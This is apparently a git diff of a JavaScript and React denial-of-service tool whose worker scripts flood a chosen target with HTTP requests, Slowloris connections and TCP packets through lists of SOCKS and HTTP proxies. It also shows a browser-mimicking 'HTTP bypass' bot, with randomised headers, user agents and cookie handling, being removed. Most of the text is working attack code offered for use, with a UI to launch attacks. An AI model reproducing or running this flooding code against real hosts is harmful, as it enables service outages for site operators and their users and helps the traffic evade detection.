||||||
if (!mainResponse) {
|
|
||||||
runNextCycle();
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const $ = cheerioLoad(mainResponse.data);
|
|
||||||
|
|
||||||
// Get all assets (CSS, JS, IMG)
|
|
||||||
const assets = this.getAssets($, url);
|
|
||||||
|
|
||||||
// Download all assets
|
|
||||||
for (let asset of assets) {
|
|
||||||
await this.getRequest(asset);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Get all <a> links and make GET requests to each one with a delay
|
|
||||||
const links = this.getLinks($, url);
|
|
||||||
const linkPromises = links.map((link) => this.getRequest(link));
|
|
||||||
|
|
||||||
// Wait for all links to be processed
|
|
||||||
await Promise.all(linkPromises);
|
|
||||||
|
|
||||||
// Run the next cycle
|
|
||||||
runNextCycle();
|
|
||||||
} catch (err) {
|
|
||||||
if (this.responseCallback) {
|
|
||||||
this.responseCallback(err);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Makes a GET request with Axios and handles errors
|
|
||||||
async getRequest(url, bypassAlreadyVisited = false) {
|
|
||||||
if (!bypassAlreadyVisited) {
|
|
||||||
if (this.visitedUrls.has(url)) {
|
|
||||||
// console.log(`Skipping already visited URL: ${url}`);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
this.visitedUrls.add(url);
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// console.log(`Requesting: ${url}`);
|
|
||||||
const response = await this.axiosInstance.get(url);
|
|
||||||
if (this.responseCallback) {
|
|
||||||
this.responseCallback();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle cookies from response headers
|
|
||||||
this.handleCookies(response.headers["set-cookie"]);
|
|
||||||
|
|
||||||
// Wait between 2 to 5 seconds after each request
|
|
||||||
await this.sleep(randomInteger(100, 1000));
|
|
||||||
return response;
|
|
||||||
} catch (error) {
|
|
||||||
if (this.responseCallback) {
|
|
||||||
this.responseCallback(error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle cookies by storing them and attaching them to future requests
|
|
||||||
handleCookies(setCookieHeader) {
|
|
||||||
if (setCookieHeader) {
|
|
||||||
setCookieHeader.forEach((cookie) => {
|
|
||||||
const cookieParts = cookie.split(";")[0]; // Get the cookie before the first ';'
|
|
||||||
const [cookieName, cookieValue] = cookieParts.split("=");
|
|
||||||
this.cookies[cookieName] = cookieValue;
|
|
||||||
});
|
|
||||||
|
|
||||||
// Add the cookies to the headers for the next request
|
|
||||||
this.axiosInstance.defaults.headers["Cookie"] = Object.entries(
|
|
||||||
this.cookies
|
|
||||||
)
|
|
||||||
.map(([key, value]) => `${key}=${value}`)
|
|
||||||
.join("; ");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Extracts all assets (CSS, JS, IMG) from the HTML
|
|
||||||
getAssets($, target) {
|
|
||||||
let assets = [];
|
|
||||||
$('link[rel="stylesheet"], script[src], img[src]').each((i, el) => {
|
|
||||||
const src = $(el).attr("href") || $(el).attr("src");
|
|
||||||
if (src) assets.push(src);
|
|
||||||
});
|
|
||||||
|
|
||||||
// Normalize assets by target
|
|
||||||
assets = assets.map((asset) => {
|
|
||||||
if (asset.startsWith("../")) {
|
|
||||||
asset = asset.slice(3);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (asset.startsWith("./")) {
|
|
||||||
asset = asset.slice(2);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (asset.startsWith("/")) {
|
|
||||||
asset = asset.slice(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (asset.includes("://")) return asset;
|
|
||||||
return `${target}/${asset}`;
|
|
||||||
});
|
|
||||||
|
|
||||||
return assets;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Extracts all <a> links to make GET requests to each one
|
|
||||||
getLinks($, target) {
|
|
||||||
let links = [];
|
|
||||||
$("a[href]").each((i, el) => {
|
|
||||||
const href = $(el).attr("href");
|
|
||||||
if (href) links.push(href);
|
|
||||||
});
|
|
||||||
|
|
||||||
// Normalize links by target
|
|
||||||
links = links.map((link) => {
|
|
||||||
if (link.startsWith("../")) {
|
|
||||||
link = link.slice(3);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (link.startsWith("./")) {
|
|
||||||
link = link.slice(2);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (link.startsWith("/")) {
|
|
||||||
link = link.slice(1);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (link.includes("://")) return link;
|
|
||||||
return `${target}/${link}`;
|
|
||||||
});
|
|
||||||
|
|
||||||
return links;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Function to wait for a random amount of time
|
|
||||||
sleep(ms) {
|
|
||||||
return new Promise((resolve) => setTimeout(resolve, ms));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Stop the cycle
|
|
||||||
stopCycle() {
|
|
||||||
this.running = false;
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,5 +1,6 @@
|
||||||
// Adapted from: https://github.com/Cryptkeeper/mcping-js/
|
// Adapted from: https://github.com/Cryptkeeper/mcping-js/
|
||||||
import { createTcpClient } from "./clientUtils.js";
|
import net from "net";
|
||||||
|
import { SocksProxyAgent } from "socks-proxy-agent";
|
||||||
|
|
||||||
class MinecraftProtocol {
|
class MinecraftProtocol {
|
||||||
static writeVarInt(val) {
|
static writeVarInt(val) {
|
||||||
|
@ -86,7 +87,17 @@ class MinecraftBufferReader {
|
||||||
|
|
||||||
export function pingMinecraftServer(host, port, proxy) {
|
export function pingMinecraftServer(host, port, proxy) {
|
||||||
return new Promise((resolve, reject) => {
|
return new Promise((resolve, reject) => {
|
||||||
const socket = createTcpClient(proxy, { host, port });
|
const { protocol, host: proxyHost, port: proxyPort } = proxy;
|
||||||
|
|
||||||
|
const agent = new SocksProxyAgent(
|
||||||
|
`${protocol}://${proxyHost}:${proxyPort}`
|
||||||
|
);
|
||||||
|
|
||||||
|
const socket = net.createConnection({
|
||||||
|
host: host,
|
||||||
|
port: port,
|
||||||
|
agent: agent,
|
||||||
|
});
|
||||||
|
|
||||||
const timeoutTask = setTimeout(() => {
|
const timeoutTask = setTimeout(() => {
|
||||||
socket.emit("error", new Error("Socket timeout"));
|
socket.emit("error", new Error("Socket timeout"));
|
||||||
|
|
|
@ -16,7 +16,3 @@ export function randomString(length) {
|
||||||
export function randomInteger(min, max) {
|
export function randomInteger(min, max) {
|
||||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function randomItem(array) {
|
|
||||||
return array[Math.floor(Math.random() * array.length)];
|
|
||||||
}
|
|
||||||
|
|
|
@ -1,92 +0,0 @@
|
||||||
import { parentPort, workerData } from "worker_threads";
|
|
||||||
|
|
||||||
import HTTPBot from "../utils/httpBot.js";
|
|
||||||
import { randomItem } from "../utils/randomUtils.js";
|
|
||||||
|
|
||||||
const HTTP_ACCEPT_HEADERS = [
|
|
||||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
||||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
|
||||||
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
||||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
||||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
||||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
|
||||||
];
|
|
||||||
|
|
||||||
const HTTP_LANGUAGE_HEADERS = [
|
|
||||||
"en-US,en;q=0.5",
|
|
||||||
"es-ES,en;q=0.5",
|
|
||||||
"fr-FR,en;q=0.5",
|
|
||||||
"de-DE,en;q=0.5",
|
|
||||||
"it-IT,en;q=0.5",
|
|
||||||
"pt-BR,en;q=0.5",
|
|
||||||
];
|
|
||||||
|
|
||||||
const HTTP_ENCODING_HEADERS = [
|
|
||||||
"gzip, deflate, br",
|
|
||||||
"gzip, deflate",
|
|
||||||
"gzip",
|
|
||||||
"deflate, br",
|
|
||||||
"deflate",
|
|
||||||
"br",
|
|
||||||
];
|
|
||||||
|
|
||||||
const startAttack = () => {
|
|
||||||
const { target, proxies, userAgents, duration } = workerData;
|
|
||||||
const fixedTarget = target.startsWith("http") ? target : `https://${target}`;
|
|
||||||
|
|
||||||
let totalPackets = 0;
|
|
||||||
const pool = new Set();
|
|
||||||
|
|
||||||
const createBot = (proxy) => {
|
|
||||||
const bot = new HTTPBot({
|
|
||||||
proxy,
|
|
||||||
userAgent: randomItem(userAgents),
|
|
||||||
followRedirects: true,
|
|
||||||
headers: {
|
|
||||||
Accept: randomItem(HTTP_ACCEPT_HEADERS),
|
|
||||||
"Accept-Language": randomItem(HTTP_LANGUAGE_HEADERS),
|
|
||||||
"Accept-Encoding": randomItem(HTTP_ENCODING_HEADERS),
|
|
||||||
Connection: "keep-alive",
|
|
||||||
"Upgrade-Insecure-Requests": "1",
|
|
||||||
},
|
|
||||||
responseCallback: (error) => {
|
|
||||||
if (error) {
|
|
||||||
parentPort.postMessage({
|
|
||||||
log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
|
|
||||||
totalPackets,
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
totalPackets++;
|
|
||||||
parentPort.postMessage({
|
|
||||||
log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
|
|
||||||
totalPackets,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
},
|
|
||||||
});
|
|
||||||
|
|
||||||
pool.add(bot);
|
|
||||||
bot.startCycle(fixedTarget);
|
|
||||||
};
|
|
||||||
|
|
||||||
const createPool = () => {
|
|
||||||
proxies.forEach((proxy) => createBot(proxy));
|
|
||||||
};
|
|
||||||
|
|
||||||
const clearPool = () => {
|
|
||||||
pool.forEach((bot) => bot.stopCycle());
|
|
||||||
pool.clear();
|
|
||||||
};
|
|
||||||
|
|
||||||
setTimeout(() => {
|
|
||||||
clearPool();
|
|
||||||
parentPort.postMessage({ log: "Attack finished", totalPackets });
|
|
||||||
process.exit(0);
|
|
||||||
}, duration * 1000);
|
|
||||||
|
|
||||||
createPool();
|
|
||||||
};
|
|
||||||
|
|
||||||
if (workerData) {
|
|
||||||
startAttack();
|
|
||||||
}
|
|
|
@ -1,6 +1,7 @@
|
||||||
|
import axios from "axios";
|
||||||
|
import { SocksProxyAgent } from "socks-proxy-agent";
|
||||||
import { parentPort, workerData } from "worker_threads";
|
import { parentPort, workerData } from "worker_threads";
|
||||||
|
|
||||||
import { createMimicHttpClient } from "../utils/clientUtils.js";
|
|
||||||
import { randomBoolean, randomString } from "../utils/randomUtils.js";
|
import { randomBoolean, randomString } from "../utils/randomUtils.js";
|
||||||
|
|
||||||
const startAttack = () => {
|
const startAttack = () => {
|
||||||
|
@ -13,14 +14,32 @@ const startAttack = () => {
|
||||||
|
|
||||||
const sendRequest = async (proxy, userAgent) => {
|
const sendRequest = async (proxy, userAgent) => {
|
||||||
try {
|
try {
|
||||||
const client = createMimicHttpClient(proxy, userAgent);
|
const config = {
|
||||||
|
headers: { "User-Agent": userAgent },
|
||||||
|
timeout: 2000,
|
||||||
|
validateStatus: (status) => {
|
||||||
|
return status < 500;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
if (proxy.protocol === "http") {
|
||||||
|
config.proxy = {
|
||||||
|
host: proxy.host,
|
||||||
|
port: proxy.port,
|
||||||
|
};
|
||||||
|
} else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") {
|
||||||
|
config.httpAgent = new SocksProxyAgent(
|
||||||
|
`${proxy.protocol}://${proxy.host}:${proxy.port}`
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
const isGet = packetSize > 64 ? false : randomBoolean();
|
const isGet = packetSize > 64 ? false : randomBoolean();
|
||||||
const payload = randomString(packetSize);
|
const payload = randomString(packetSize);
|
||||||
|
|
||||||
if (isGet) {
|
if (isGet) {
|
||||||
await client.get(`${fixedTarget}/${payload}`);
|
await axios.get(`${fixedTarget}/${payload}`, config);
|
||||||
} else {
|
} else {
|
||||||
await client.post(fixedTarget, payload);
|
await axios.post(fixedTarget, payload, config);
|
||||||
}
|
}
|
||||||
|
|
||||||
totalPackets++;
|
totalPackets++;
|
||||||
|
|
|
@ -31,7 +31,7 @@ const startAttack = () => {
|
||||||
Host: targetHost,
|
Host: targetHost,
|
||||||
},
|
},
|
||||||
agent: new SocksProxyAgent(
|
agent: new SocksProxyAgent(
|
||||||
`${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}`
|
`${proxy.protocol}://${proxy.host}:${proxy.port}`
|
||||||
),
|
),
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
|
import net from "net";
|
||||||
|
import { SocksProxyAgent } from "socks-proxy-agent";
|
||||||
import { parentPort, workerData } from "worker_threads";
|
import { parentPort, workerData } from "worker_threads";
|
||||||
|
|
||||||
import { createTcpClient } from "../utils/clientUtils.js";
|
|
||||||
import { randomString } from "../utils/randomUtils.js";
|
import { randomString } from "../utils/randomUtils.js";
|
||||||
|
|
||||||
const startAttack = () => {
|
const startAttack = () => {
|
||||||
|
@ -10,31 +11,40 @@ const startAttack = () => {
|
||||||
const port = parseInt(targetPort, 10);
|
const port = parseInt(targetPort, 10);
|
||||||
const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`;
|
const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`;
|
||||||
|
|
||||||
if (isNaN(port)) throw new Error("Invalid port: Should be a number");
|
|
||||||
if (port < 1 || port > 65535)
|
|
||||||
throw new Error("Invalid port: Should be between 1 and 65535");
|
|
||||||
|
|
||||||
let totalPackets = 0;
|
let totalPackets = 0;
|
||||||
const startTime = Date.now();
|
const startTime = Date.now();
|
||||||
|
|
||||||
const sendPacket = async (proxy) => {
|
const sendPacket = async (proxy) => {
|
||||||
const socket = createTcpClient(proxy, { host: targetHost, port: port });
|
const socket = new net.Socket();
|
||||||
|
let open = false;
|
||||||
|
socket.setTimeout(2000);
|
||||||
|
|
||||||
socket.on("connect", () => {
|
const proxyAgent = new SocksProxyAgent(
|
||||||
|
`${proxy.protocol}://${proxy.host}:${proxy.port}`
|
||||||
|
);
|
||||||
|
|
||||||
|
setInterval(() => {
|
||||||
|
if (socket.writable && open) {
|
||||||
|
socket.write(randomString(packetSize));
|
||||||
|
}
|
||||||
|
}, [1000]);
|
||||||
|
|
||||||
|
socket.connect({ host: targetHost, port: port, agent: proxyAgent }, () => {
|
||||||
totalPackets++;
|
totalPackets++;
|
||||||
|
open = true;
|
||||||
parentPort.postMessage({
|
parentPort.postMessage({
|
||||||
log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
|
log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
|
||||||
totalPackets,
|
totalPackets,
|
||||||
});
|
});
|
||||||
|
});
|
||||||
|
|
||||||
const interval = setInterval(() => {
|
socket.on("close", () => {
|
||||||
if (socket.writable && socket["open"]) {
|
open = false;
|
||||||
socket.write(randomString(packetSize));
|
});
|
||||||
} else {
|
|
||||||
clearInterval(interval);
|
socket.on("timeout", () => {
|
||||||
}
|
socket.destroy();
|
||||||
}, 3000);
|
open = false;
|
||||||
});
|
});
|
||||||
|
|
||||||
socket.on("error", (err) => {
|
socket.on("error", (err) => {
|
||||||
|
|
23
src/App.tsx
23
src/App.tsx
|
@ -2,25 +2,7 @@ import { Bot, ScrollText, Wand2, Wifi, Zap } from "lucide-react";
|
||||||
import { useEffect, useRef, useState } from "react";
|
import { useEffect, useRef, useState } from "react";
|
||||||
import { io } from "socket.io-client";
|
import { io } from "socket.io-client";
|
||||||
|
|
||||||
function isHostLocal(host: string) {
|
const socket = io("http://localhost:3000");
|
||||||
return (
|
|
||||||
host === "localhost" ||
|
|
||||||
host === "127.0.0.1" ||
|
|
||||||
host.startsWith("::1") ||
|
|
||||||
host.startsWith("192.168") ||
|
|
||||||
host.startsWith("10.") ||
|
|
||||||
host.startsWith("172.")
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function getSocketURL() {
|
|
||||||
const host = window.location.host.split(":")[0];
|
|
||||||
const isLocal = isHostLocal(host);
|
|
||||||
const socketURL = isLocal ? `http://${host}:3000` : "/";
|
|
||||||
return socketURL;
|
|
||||||
}
|
|
||||||
|
|
||||||
const socket = io(getSocketURL());
|
|
||||||
|
|
||||||
function ConfigureProxiesAndAgentsView() {
|
function ConfigureProxiesAndAgentsView() {
|
||||||
const [loadingConfiguration, setLoadingConfiguration] = useState(false);
|
const [loadingConfiguration, setLoadingConfiguration] = useState(false);
|
||||||
|
@ -87,7 +69,7 @@ function ConfigureProxiesAndAgentsView() {
|
||||||
onChange={(e) =>
|
onChange={(e) =>
|
||||||
setConfiguration([e.target.value, configuration[1]])
|
setConfiguration([e.target.value, configuration[1]])
|
||||||
}
|
}
|
||||||
placeholder="socks5://0.0.0.0 socks4://user:pass@0.0.0.0:12345"
|
placeholder="socks5://0.0.0.0"
|
||||||
></textarea>
|
></textarea>
|
||||||
<p className="pl-1 mt-2 mb-1 italic">uas.txt</p>
|
<p className="pl-1 mt-2 mb-1 italic">uas.txt</p>
|
||||||
<textarea
|
<textarea
|
||||||
|
@ -387,7 +369,6 @@ function App() {
|
||||||
disabled={isAttacking}
|
disabled={isAttacking}
|
||||||
>
|
>
|
||||||
<option value="http_flood">HTTP/Flood</option>
|
<option value="http_flood">HTTP/Flood</option>
|
||||||
<option value="http_bypass">HTTP/Bypass</option>
|
|
||||||
<option value="http_slowloris">HTTP/Slowloris</option>
|
<option value="http_slowloris">HTTP/Slowloris</option>
|
||||||
<option value="tcp_flood">TCP/Flood</option>
|
<option value="tcp_flood">TCP/Flood</option>
|
||||||
<option value="minecraft_ping">Minecraft/Ping</option>
|
<option value="minecraft_ping">Minecraft/Ping</option>
|
||||||
|
|
|
@ -156,7 +156,7 @@ input[type=range].volume_bar:focus::-ms-fill-upper {
|
||||||
background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1));
|
background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1));
|
||||||
}
|
}
|
||||||
/*TODO: Use one of the selectors from https://stackoverflow.com/a/20541859/7077589 and figure out
|
/*TODO: Use one of the selectors from https://stackoverflow.com/a/20541859/7077589 and figure out
|
||||||
how to remove the vertical space around the range input in IE*/
|
how to remove the virtical space around the range input in IE*/
|
||||||
@supports (-ms-ime-align:auto) {
|
@supports (-ms-ime-align:auto) {
|
||||||
/* Pre-Chromium Edge only styles, selector taken from hhttps://stackoverflow.com/a/32202953/7077589 */
|
/* Pre-Chromium Edge only styles, selector taken from hhttps://stackoverflow.com/a/32202953/7077589 */
|
||||||
input[type=range].volume_bar {
|
input[type=range].volume_bar {
|
||||||
|
|
|
@ -1,29 +0,0 @@
|
||||||
{
|
|
||||||
"compilerOptions": {
|
|
||||||
"baseUrl": ".",
|
|
||||||
"paths": {
|
|
||||||
"*": ["*"]
|
|
||||||
},
|
|
||||||
"target": "ESNext",
|
|
||||||
"module": "ESNext",
|
|
||||||
"moduleResolution": "node",
|
|
||||||
"strict": true,
|
|
||||||
"esModuleInterop": true,
|
|
||||||
"forceConsistentCasingInFileNames": true,
|
|
||||||
"skipLibCheck": true,
|
|
||||||
"outDir": "dist",
|
|
||||||
"rootDir": "server",
|
|
||||||
"allowSyntheticDefaultImports": true,
|
|
||||||
"noImplicitAny": false
|
|
||||||
},
|
|
||||||
"include": ["server/**/*.ts"],
|
|
||||||
"exclude": ["node_modules"],
|
|
||||||
"tsc-alias": {
|
|
||||||
"verbose": false,
|
|
||||||
"resolveFullPaths": true,
|
|
||||||
"fileExtensions": {
|
|
||||||
"inputGlob": "{js,jsx,mjs}",
|
|
||||||
"outputCheck": ["js", "json", "jsx", "mjs"]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,6 +1,5 @@
|
||||||
import react from "@vitejs/plugin-react";
|
import react from '@vitejs/plugin-react';
|
||||||
import path from "path";
|
import { defineConfig } from 'vite';
|
||||||
import { defineConfig } from "vite";
|
|
||||||
|
|
||||||
// https://vitejs.dev/config/
|
// https://vitejs.dev/config/
|
||||||
export default defineConfig({
|
export default defineConfig({
|
||||||
|
@ -8,10 +7,4 @@ export default defineConfig({
|
||||||
optimizeDeps: {
|
optimizeDeps: {
|
||||||
exclude: [],
|
exclude: [],
|
||||||
},
|
},
|
||||||
build: {
|
|
||||||
outDir: path.resolve(__dirname, "dist/public"),
|
|
||||||
},
|
|
||||||
server: {
|
|
||||||
strictPort: true,
|
|
||||||
},
|
|
||||||
});
|
});
|
||||||
|
|
Loading…
Add table
Reference in a new issue